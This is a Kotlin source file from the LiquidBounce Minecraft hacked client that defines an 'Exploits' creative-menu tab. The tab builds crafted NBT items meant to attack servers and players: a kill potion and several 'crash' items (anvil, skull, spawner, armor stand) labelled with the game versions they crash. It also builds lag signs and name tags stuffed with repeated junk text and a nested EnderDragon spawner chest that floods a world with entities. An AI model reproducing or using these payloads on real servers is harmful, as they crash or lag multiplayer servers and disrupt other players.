/*
 * LiquidBounce Hacked Client
 * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge.
 * https://github.com/CCBlueX/LiquidBounce/
 */
package net.ccbluex.liquidbounce.tabs

import net.ccbluex.liquidbounce.api.enums.BlockType
import net.ccbluex.liquidbounce.api.enums.ItemType
import net.ccbluex.liquidbounce.api.minecraft.item.IItem
import net.ccbluex.liquidbounce.api.minecraft.item.IItemStack
import net.ccbluex.liquidbounce.api.util.WrappedCreativeTabs
import net.ccbluex.liquidbounce.injection.backend.WrapperImpl.classProvider
import net.ccbluex.liquidbounce.utils.item.ItemUtils
import java.util.*

class ExploitsTab : WrappedCreativeTabs("Exploits") {

    /**
     * Initialize of exploits tab
     */
    init {
        representedType.backgroundImageName = "item_search.png"
    }

    /**
     * Add all items to tab
     *
     * @param itemList list of tab items
     */
    override fun displayAllReleventItems(itemList: MutableList<IItemStack>) {
        // Create troll potion
        val trollPotion = classProvider.createItemStack(classProvider.getItemEnum(ItemType.POTION_ITEM))

        trollPotion.itemDamage = 16395

        val trollPotionEffects = classProvider.createNBTTagList()
        for (i in 1..27) {
            val effect = classProvider.createNBTTagCompound()
            effect.setInteger("Amplifier", Integer.MAX_VALUE)
            effect.setInteger("Duration", Integer.MAX_VALUE)
            effect.setInteger("Id", i)
            trollPotionEffects.appendTag(effect)
        }
        trollPotion.setTagInfo("CustomPotionEffects", trollPotionEffects)
        trollPotion.setStackDisplayName("§c§lTroll§6§lPotion")
        itemList.add(trollPotion)

        // Create kill potion
        val killPotion = classProvider.createItemStack(classProvider.getItemEnum(ItemType.POTION_ITEM))
        killPotion.itemDamage = 16395
        val effect = classProvider.createNBTTagCompound()
        effect.setInteger("Amplifier", 125)
        effect.setInteger("Duration", 1)
        effect.setInteger("Id", 6)
        val effects = classProvider.createNBTTagList()
        effects.appendTag(effect)
        killPotion.setTagInfo("CustomPotionEffects", effects)
        killPotion.setStackDisplayName("§c§lKill§6§lPotion")
        itemList.add(killPotion)

        // Create crash anvil for mc 1.8
        val crashAnvil = classProvider.createItemStack(classProvider.getBlockEnum(BlockType.ANVIL))
        crashAnvil.setStackDisplayName("§8Crash§c§lAnvil §7| §cmc1.8-mc1.8")
        crashAnvil.itemDamage = 16384
        itemList.add(crashAnvil)
        // Create crashhead for mc 1.10
        val crashHead = classProvider.createItemStack(classProvider.getItemEnum(ItemType.SKULL))
        val compound = classProvider.createNBTTagCompound()
        compound.setString("SkullOwner", " ")
        crashHead.tagCompound = compound
        crashHead.setStackDisplayName("§8Crash§6§lHead §7| §cmc1.8-mc1.10")
        itemList.add(crashHead)

        // Add crash spawner
        itemList.add(ItemUtils.createItem("mob_spawner 1 0 {BlockEntityTag:{EntityId:\"Painting\"}}").setStackDisplayName("§8Crash§c§lSpawner §7| §cmc1.8-mc1.8"))

        // Create crashstand for mc 1.10
        itemList.add(ItemUtils.createItem("armor_stand 1 0 {EntityTag:{Equipment:[{},{},{},{},{id:\"skull\",Count:1b,Damage:3b,tag:{SkullOwner:\"Test\"}}]}}").setStackDisplayName("§8Crash§2§lStand §7| §cmc1.10"))

        // Create lag sign
        val lagStringBuilder = StringBuilder()
        for (i in 0..499)
            lagStringBuilder.append("/(!§()%/§)=/(!§()%/§)=/(!§()%/§)=")

        itemList.add(ItemUtils.createItem("sign 1 0 {BlockEntityTag:{Text1:\"{\\\"text\\\":\\\"$lagStringBuilder\\\"}\",Text2:\"{\\\"text\\\":\\\"$lagStringBuilder\\\"}\",Text3:\"{\\\"text\\\":\\\"$lagStringBuilder\\\"}\",Text4:\"{\\\"text\\\":\\\"$lagStringBuilder\\\"}\"}}").setStackDisplayName("§8Lag§2§lSign §7| §cmc1.8"))

        // Create spawn eggs of special mobs
        itemList.add(ItemUtils.createItem("spawn_egg 1 64"))
        itemList.add(ItemUtils.createItem("spawn_egg 1 63"))
        itemList.add(ItemUtils.createItem("spawn_egg 1 53"))

        // Create lag tag
        itemList.add(ItemUtils.createItem("name_tag 1 0 {display:{Name: \"$lagStringBuilder\"}}"))

        // Create infinity firework
        itemList.add(Objects.requireNonNull(ItemUtils.createItem("fireworks 1 0 {HideFlags:63,Fireworks:{Flight:127b,Explosions:[0:{Type:0b,Trail:1b,Colors:[16777215,],Flicker:1b,FadeColors:[0,]}]}}")).setStackDisplayName("§cInfinity §a§lFirework"))

        // Create enderdragon loop item
        itemList.add(ItemUtils.createItem("chest 1 0 {BlockEntityTag:{Items:[0:{Slot:0b, id:\"minecraft:mob_spawner\",Count:64b,tag:{BlockEntityTag:{EntityId:\"FallingSand\",MaxNearbyEntities:1000,RequiredPlayerRange:100,SpawnCount:100,SpawnData:{Motion:[0:0.0d,1:0.0d,2:0.0d],Block:\"mob_spawner\",Time:1,Data:0,TileEntityData:{EntityId:\"FallingSand\",MaxNearbyEntities:1000,RequiredPlayerRange:100,SpawnCount:100,SpawnData:{Motion:[0:0.0d,1:0.0d,2:0.0d],Block:\"mob_spawner\",Time:1,Data:0,TileEntityData:{EntityId:\"EnderDragon\",MaxNearbyEntities:1000,RequiredPlayerRange:100,SpawnCount:100,MaxSpawnDelay:20,SpawnRange:100,MinSpawnDelay:20},DropItem:0},MaxSpawnDelay:20,SpawnRange:500,MinSpawnDelay:20},DropItem:0},MaxSpawnDelay:5,SpawnRange:500,Delay:20,MinSpawnDelay:5}},Damage:0s}],value:\"Chest\",Lock:\"\"}}")!!.setStackDisplayName("§c§lEnder§c§a§lDragon §bSpawner Chest"))
    }

    /**
     * Return icon item of tab
     *
     * @return icon item
     */
    override fun getTabIconItem(): IItem = classProvider.createItemStack(classProvider.getItemEnum(ItemType.POTION_ITEM)).item!!

    /**
     * Return name of tab
     *
     * @return tab name
     */
    override fun getTranslatedTabLabel() = "Exploits"

    /**
     * @return searchbar status
     */
    override fun hasSearchBar() = true
}
